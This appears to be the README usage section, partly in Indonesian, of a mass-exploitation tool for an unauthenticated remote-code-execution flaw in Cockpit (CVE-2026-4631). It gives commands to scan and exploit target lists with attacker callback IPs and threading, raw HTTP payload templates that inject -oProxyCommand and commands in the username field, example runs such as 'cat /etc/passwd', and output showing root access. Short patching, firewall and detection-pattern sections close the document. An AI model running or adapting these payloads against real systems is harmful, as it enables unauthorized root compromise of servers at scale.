git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt

192.168.1.10
cockpit.example.com
https://manage.lab.local

# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>

# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>

# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>

# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

[WebService]
LoginTo = false

sudo systemctl restart cockpit

sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

ssh -V   # harus OpenSSH_9.6 atau lebih baru

GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")

GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")

# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# Install dependency
pip install -r requirements.txt

# Verifikasi
python3 exploit.py --help

usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
                  [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
                  [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
                  [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
                  [--user-agent UA] [-v] [--no-color]

CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection

optional arguments:
  -h, --help            show this help message and exit
  -t, --target          single target URL/host (port auto-added jika absent)
  -f, --file            file containing list of targets (one per line)
  --default-port        port yang di-append jika target tanpa port (default: 9090)
  -c, --cmd             command to execute (default: "id" pada mode --auto / RCE)
  --scan                vulnerability scan mode (no RCE, probe endpoint only)
  --auto                scan + exploit sekali jalan, command default "id"
  --vector              exploit vector: auto|proxycommand|username (default: auto)
  -o, --output          result output file (default: results.txt)
  --callback-ip         attacker IP reachable from target (for callback listener)
  --listener-port       callback listener port (default: 8888)
  --threads             concurrent workers (default: 10)
  --timeout             seconds to wait for callback per target (default: 10)
  --delay               delay between requests in seconds (default: 0)
  --proxy               HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
  --user-agent          custom User-Agent string
  -v, --verbose         verbose output (debug)
  --no-color            disable colored output

host              → http://host:9090
host:9090         → http://host:9090
https://host      → https://host:9090
192.168.1.10      → http://192.168.1.10:9090
[::1]             → http://[::1]:9090

# Target tanpa port → auto :9090, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10

# Override command
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10

# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]

python3 exploit.py -f targets.txt --scan -o scan_results.txt

target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]

python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# equivalent: -t http://target:9090/

target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20

# Force Vector 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand

# Force Vector 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username

python3 exploit.py -f targets.txt -c "id" \
  --callback-ip 10.10.10.10 \
  --listener-port 9999 \
  --threads 50 \
  --timeout 15 \
  --delay 0.2

python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v

<host> [ <status_or_output> ]

flowchart TD
    CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>parse & normalize targets"]
    CLI --> Engine["core/engine.py<br/>orchestrator"]
    Engine --> Listener["core/listener.py<br/>HTTP callback server thread"]
    Engine --> Pool["ThreadPoolExecutor<br/>concurrent workers"]
    Pool --> Scanner["core/scanner.py<br/>vuln probe"]
    Pool --> Exploit["core/exploit.py<br/>payload generator"]
    Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
    Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
    Req2 --> Target["Cockpit target :9090"]
    Target -->|"blind RCE<br/>curl callback"| Listener
    Listener --> Shared["shared dict<br/>REQID -> output"]
    Engine --> Result["utils/result.py<br/>write results.txt"]
    Shared --> Engine

CVE-2026-4631-cockpit-RCE/
├── exploit.py                  # entry point CLI
├── requirements.txt            # dependencies
├── README.md                   # dokumentasi ini
├── targets.txt                 # contoh target list
├── results.txt                 # output (generated)
├── core/
│   ├── __init__.py
│   ├── target.py               # parser target
│   ├── scanner.py              # mode scan vuln
│   ├── exploit.py              # payload generator + sender
│   ├── listener.py             # HTTP callback server
│   └── engine.py               # orchestrator
├── utils/
│   ├── __init__.py
│   ├── banner.py               # ASCII banner
│   └── result.py               # result writer
└── docs/
    ├── VULN_ANALYSIS.md        # analisis mendalam vulnerability
    ├── PATCH_ANALYSIS.md       # analisis patch commit
    └── DETECTION.md            # signature deteksi

GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"

dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian/Ubuntu
rpm -q cockpit-ws                            # RHEL/Fedora
# Vulnerable: 327 <= version <= 359